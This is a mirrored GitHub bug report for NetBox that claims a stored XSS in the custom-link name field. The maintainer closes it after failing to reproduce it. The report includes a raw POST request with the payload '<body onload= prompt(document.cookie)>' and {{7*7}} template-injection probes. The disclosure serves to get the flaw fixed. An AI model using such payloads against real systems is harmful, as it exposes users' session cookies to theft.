starred/netbox
1
0
Fork 0
mirror of https://github.com/netbox-community/netbox.git synced 2026-01-12 05:20:31 +01:00
Code Issues 273 Packages Projects Releases 10 Wiki Activity

XSS in api: /extras/custom-links/add, /extras/custom-links/{id}/edit/ both with param: name, /core/config-revisions/add/ with param: BANNER_MAINTENANCE #10286

New Issue
Closed
opened 2025-12-29 21:29:26 +01:00 by adam · 4 comments
adam commented 2025-12-29 21:29:26 +01:00
Owner
Copy Link

Originally created by @minhquan202 on GitHub (Sep 25, 2024).

Originally assigned to: @arthanson on GitHub.

Deployment Type

NetBox Cloud

NetBox Version

v4.1.1

Python Version

3.10

Steps to Reproduce

1, Add or Edit a Custom Link with malicious script tags at param Name

2, Access Object Type using Custom Link

3, Immediately boom, Stored XSS is executed

Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8000/extras/custom-links/add/
Content-Type: multipart/form-data; boundary=---------------------------300193789523924448502163188369
Content-Length: 1589
Origin: http://localhost:8000
Connection: close
Cookie: csrftoken=GPFwHFgQsCVRlXGYb2Efv9gKs2SXEiIN; sessionid=jv3bmrc6goo62qohlkckic0eolv7nrde
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: red
Priority: u=1

-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="csrfmiddlewaretoken"

oDVU0Umj4Oip7YXSKVBW5T4WgmBHvaJZUiqgxpsZmg36iLtGLN51qSawyejuZihC
-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="name"

<body onload= prompt(document.cookie)>
-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="object_types"

46
-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="weight"

100
-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="group_name"


-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="button_class"

outline-dark
-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="enabled"


-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="enabled"

on
-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="new_window"


-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="link_text"

{{7*7}}
-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="link_url"

{{7*7}}
-----------------------------300193789523924448502163188369
Content-Disposition: form-data; name="_create"


-----------------------------300193789523924448502163188369--

image

Expected Behavior

spam, csrf token hijacking, combined with other vulnerabilities to create a chain that harms the system

Observed Behavior

image

Originally created by @minhquan202 on GitHub (Sep 25, 2024). Originally assigned to: @arthanson on GitHub. ### Deployment Type NetBox Cloud ### NetBox Version v4.1.1 ### Python Version 3.10 ### Steps to Reproduce 1, Add or Edit a Custom Link with malicious script tags at param Name 2, Access Object Type using Custom Link 3, Immediately boom, Stored XSS is executed ```POST /extras/custom-links/add/ HTTP/1.1 Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:8000/extras/custom-links/add/ Content-Type: multipart/form-data; boundary=---------------------------300193789523924448502163188369 Content-Length: 1589 Origin: http://localhost:8000 Connection: close Cookie: csrftoken=GPFwHFgQsCVRlXGYb2Efv9gKs2SXEiIN; sessionid=jv3bmrc6goo62qohlkckic0eolv7nrde Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 X-PwnFox-Color: red Priority: u=1 -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="csrfmiddlewaretoken" oDVU0Umj4Oip7YXSKVBW5T4WgmBHvaJZUiqgxpsZmg36iLtGLN51qSawyejuZihC -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="name" <body onload= prompt(document.cookie)> -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="object_types" 46 -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="weight" 100 -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="group_name" -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="button_class" outline-dark -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="enabled" -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="enabled" on -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="new_window" -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="link_text" {{7*7}} -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="link_url" {{7*7}} -----------------------------300193789523924448502163188369 Content-Disposition: form-data; name="_create" -----------------------------300193789523924448502163188369-- ``` ![image](https://github.com/user-attachments/assets/cbe90172-24a0-47dc-ae9f-fa7369397770) ### Expected Behavior spam, csrf token hijacking, combined with other vulnerabilities to create a chain that harms the system ### Observed Behavior ![image](https://github.com/user-attachments/assets/133b32f6-160e-4f16-9f6c-fa5d4d0597c4)
adam added the type: bugstatus: revisions needed labels 2025-12-29 21:29:26 +01:00
adam closed this issue 2025-12-29 21:29:26 +01:00
adam commented 2025-12-29 21:29:27 +01:00
Author
Owner
Copy Link

@arthanson commented on GitHub (Sep 25, 2024):

@minhquan202 Thank you for opening a bug report. Unfortunately, the information you have provided is not sufficient for someone else to attempt to reproduce the reported behavior. Remember, each bug report must include detailed steps that someone else can follow on a clean, empty NetBox installation to reproduce the exact problem you're experiencing. These instructions should include the creation of any involved objects, any configuration changes, and complete accounting of the actions being taken. Also be sure that your report does not reference data on the public NetBox demo, as that is subject to change at any time by an outside party and cannot be relied upon for bug reports.

Can you please provide what script you are using and

@arthanson commented on GitHub (Sep 25, 2024): @minhquan202 Thank you for opening a bug report. Unfortunately, the information you have provided is not sufficient for someone else to attempt to reproduce the reported behavior. Remember, each bug report must include detailed steps that someone else can follow on a clean, empty NetBox installation to reproduce the exact problem you're experiencing. These instructions should include the creation of any involved objects, any configuration changes, and complete accounting of the actions being taken. Also be sure that your report does not reference data on the public NetBox demo, as that is subject to change at any time by an outside party and cannot be relied upon for bug reports. Can you please provide what script you are using and
adam commented 2025-12-29 21:29:27 +01:00
Author
Owner
Copy Link

@minhquan202 commented on GitHub (Sep 25, 2024):

I just want to inform you that using mark_safe but lacking escape causes
the application to have an XSS vulnerability. Let you fix it in the next
updates. As for the steps, I have provided. Please read carefully and think
about my bug report. Whether you fix this or not has nothing to do with me,
this is for your users. All information has been presented by me in my bug
report, please read carefully.

Vào Th 4, 25 thg 9, 2024 vào lúc 22:03 Arthur Hanson <
@.***> đã viết:

@minhquan202 https://github.com/minhquan202 Thank you for opening a bug
report. Unfortunately, the information you have provided is not sufficient
for someone else to attempt to reproduce the reported behavior. Remember,
each bug report must include detailed steps that someone else can follow on
a clean, empty NetBox installation to reproduce the exact problem you're
experiencing. These instructions should include the creation of any
involved objects, any configuration changes, and complete accounting of the
actions being taken. Also be sure that your report does not reference data
on the public NetBox demo, as that is subject to change at any time by an
outside party and cannot be relied upon for bug reports.

Can you please provide what script you are using and

—
Reply to this email directly, view it on GitHub
https://github.com/netbox-community/netbox/issues/17596#issuecomment-2374355991,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AVH2N6CTD7LTNL5XU26UN4TZYLGDVAVCNFSM6AAAAABOZS6UT6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZUGM2TKOJZGE
.
You are receiving this because you were mentioned.Message ID:
@.***>

@minhquan202 commented on GitHub (Sep 25, 2024): I just want to inform you that using mark_safe but lacking escape causes the application to have an XSS vulnerability. Let you fix it in the next updates. As for the steps, I have provided. Please read carefully and think about my bug report. Whether you fix this or not has nothing to do with me, this is for your users. All information has been presented by me in my bug report, please read carefully. Vào Th 4, 25 thg 9, 2024 vào lúc 22:03 Arthur Hanson < ***@***.***> đã viết: > @minhquan202 <https://github.com/minhquan202> Thank you for opening a bug > report. Unfortunately, the information you have provided is not sufficient > for someone else to attempt to reproduce the reported behavior. Remember, > each bug report must include detailed steps that someone else can follow on > a clean, empty NetBox installation to reproduce the exact problem you're > experiencing. These instructions should include the creation of any > involved objects, any configuration changes, and complete accounting of the > actions being taken. Also be sure that your report does not reference data > on the public NetBox demo, as that is subject to change at any time by an > outside party and cannot be relied upon for bug reports. > > Can you please provide what script you are using and > > — > Reply to this email directly, view it on GitHub > <https://github.com/netbox-community/netbox/issues/17596#issuecomment-2374355991>, > or unsubscribe > <https://github.com/notifications/unsubscribe-auth/AVH2N6CTD7LTNL5XU26UN4TZYLGDVAVCNFSM6AAAAABOZS6UT6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZUGM2TKOJZGE> > . > You are receiving this because you were mentioned.Message ID: > ***@***.***> >
adam commented 2025-12-29 21:29:27 +01:00
Author
Owner
Copy Link

@arthanson commented on GitHub (Sep 25, 2024):

Closing as not enough information has been provided. I tried a simple script in name and Link Text and checked it on the Site page and did not see it activating. If reproduction steps can be included as specified in the response above then we can re-open and look at addressing.

@arthanson commented on GitHub (Sep 25, 2024): Closing as not enough information has been provided. I tried a simple script in name and Link Text and checked it on the Site page and did not see it activating. If reproduction steps can be included as specified in the response above then we can re-open and look at addressing.
adam commented 2025-12-29 21:29:28 +01:00
Author
Owner
Copy Link

@minhquan202 commented on GitHub (Sep 26, 2024):

ok i will create ticket again and give you more clear information. ok?

Vào Th 5, 26 thg 9, 2024 vào lúc 02:56 Arthur Hanson <
@.***> đã viết:

Closing as not enough information has been provided. I tried a simple
script in name and Link Text and checked it on the Site page and did not
see it activating. If reproduction steps can be included as specified in
the response above then we can re-open and look at addressing.

—
Reply to this email directly, view it on GitHub
https://github.com/netbox-community/netbox/issues/17596#issuecomment-2375131706,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AVH2N6GFYAAZCPEHOBDS2UDZYMIPLAVCNFSM6AAAAABOZS6UT6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZVGEZTCNZQGY
.
You are receiving this because you were mentioned.Message ID:
@.***>

@minhquan202 commented on GitHub (Sep 26, 2024): ok i will create ticket again and give you more clear information. ok? Vào Th 5, 26 thg 9, 2024 vào lúc 02:56 Arthur Hanson < ***@***.***> đã viết: > Closing as not enough information has been provided. I tried a simple > script in name and Link Text and checked it on the Site page and did not > see it activating. If reproduction steps can be included as specified in > the response above then we can re-open and look at addressing. > > — > Reply to this email directly, view it on GitHub > <https://github.com/netbox-community/netbox/issues/17596#issuecomment-2375131706>, > or unsubscribe > <https://github.com/notifications/unsubscribe-auth/AVH2N6GFYAAZCPEHOBDS2UDZYMIPLAVCNFSM6AAAAABOZS6UT6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZVGEZTCNZQGY> > . > You are receiving this because you were mentioned.Message ID: > ***@***.***> >
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
beta
breaking change
complexity: high
complexity: low
complexity: medium
needs milestone
netbox
pending closure
plugin candidate
pull-request
Mirrored from GitHub Pull Request
 severity: high
severity: low
severity: medium
status: accepted
status: backlog
status: blocked
status: duplicate
status: needs owner
status: needs triage
status: revisions needed
status: under review
topic: GraphQL
topic: Internationalization
topic: OpenAPI
topic: UI/UX
topic: cabling
topic: event rules
topic: htmx navigation
topic: industrialization
topic: migrations
topic: plugins
topic: scripts
topic: templating
topic: testing
type: bug
type: deprecation
type: documentation
type: feature
type: housekeeping
type: translation
No Label status: revisions needed type: bug
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
adam
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: starred/netbox#10286
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?